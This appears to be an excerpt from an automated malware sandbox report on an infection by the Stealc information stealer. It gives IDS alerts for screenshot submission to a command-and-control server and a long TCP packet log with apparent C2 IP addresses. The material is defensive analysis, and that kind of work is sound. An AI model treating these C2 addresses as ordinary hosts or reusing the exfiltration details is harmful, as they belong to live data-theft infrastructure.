2024-10-24T13:27:12.526590+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:15.286950+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	185.98.131.200	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 13:26:58.383101940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:58.388895988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:58.389115095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:58.389206886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:58.394820929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.210546017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.210905075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.213080883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.219276905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.496221066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.496427059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.518659115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.524975061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.758553982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.758619070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:26:59.758769035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.758769035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.762041092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:26:59.768301010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.001851082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.001914978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.001938105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.001951933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.001971006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.002011061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.002223969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.002259970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.002274990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.002296925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.002305984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.002343893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.002895117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.002957106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.004616976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.010159016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.242863894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.243105888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.282629967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.282630920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.288676023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.288722038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.288750887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.288778067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.288805962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.288834095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.577987909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:00.578186989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.853514910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:00.859502077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090617895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090672016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090712070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090748072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090785980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.090864897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.090864897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.090864897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.090864897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.090864897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.091290951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091367960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091428995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091464043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091614008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.091614962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.091679096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091768026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.091932058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.091969967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.092003107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.092025042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.092421055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.092478991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.092514038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.092570066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.092583895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.092638016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.207798004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.207844973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.207909107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.207946062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.207987070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.208090067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208090067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208090067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208090067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208090067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208412886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.208542109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.208610058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208611012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208709955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.208890915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.208905935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.208977938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.209176064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.209213972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.209264040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.209310055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.209534883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.209606886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.209741116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.209819078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.209991932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.210028887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.210058928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.210093021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.210537910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.210594893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.210604906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.210649014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.210944891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.210980892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.211018085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.211047888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.211220980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.211287975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.211436033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.211500883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.211684942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.211721897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.211750984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.211779118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.212059021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.212124109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.212313890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.212378979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.328915119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.328989983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329030991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329066992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329104900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329138041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329138041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329138041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329138041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329144001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329201937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329201937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329508066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329545021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329580069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329617977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.329679966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329679966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329679966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.329679966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.330528975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.330583096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.330595016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.330636024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.330744028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.330779076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.330802917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.330817938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.330836058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.330873013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.331419945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.331456900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.331479073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.331491947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.331511021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.331549883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.332082987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.332118988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.332144022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.332154989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.332168102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.332190990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.332204103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.332243919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.332990885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333028078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333049059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333062887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333082914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333097935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333107948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333158016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333803892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333822966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333863974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333870888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333884954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333889008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.333921909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.333954096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.334589958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.334608078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.334623098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.334640980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.334666967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.334702015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.335467100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.335484028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.335500956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.335517883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.335532904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.335582018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.336436033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336452961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336467028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336483955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336499929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336498976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.336515903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.336556911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.336595058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.337328911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.337346077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.337363005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.337389946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.337425947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.337425947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.442420959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.442517996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.442538977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.442702055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.442977905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443028927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443053007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.443073034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443093061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.443124056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.443238020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443273067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443306923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.443361998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.443382978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444076061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444128036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444143057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444171906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444178104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444209099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444216013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444247007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444251060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444293976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444705963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444742918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444757938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444780111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444786072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444814920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.444828033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.444854975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.445590019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.445628881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.445662975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.445698977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.445712090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.445734024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.445734024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.445749998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446413040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446449041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446468115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446480036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446504116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446515083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446521044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446556091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446572065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446589947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.446598053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.446635008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.447279930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.447333097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.447336912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.447377920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.447380066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.447412014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.447421074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.447455883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448062897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448097944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448113918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448132992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448139906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448174953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448179007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448209047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448216915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448252916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448911905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448946953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448965073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.448981047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.448988914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449016094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449023008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449058056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449755907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449791908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449810028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449826002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449839115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449861050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449868917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449893951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.449904919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.449939013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.450476885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.450510979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.450527906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.450546026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.450552940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.450579882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.450587988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.450614929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.450624943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.450658083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451291084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451344013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451354980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451390982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451400995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451425076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451433897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451458931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451469898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451494932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.451502085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.451535940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.452146053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.452179909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.452199936 CEST	49730	80	192.168.2.4	109.107.157.208
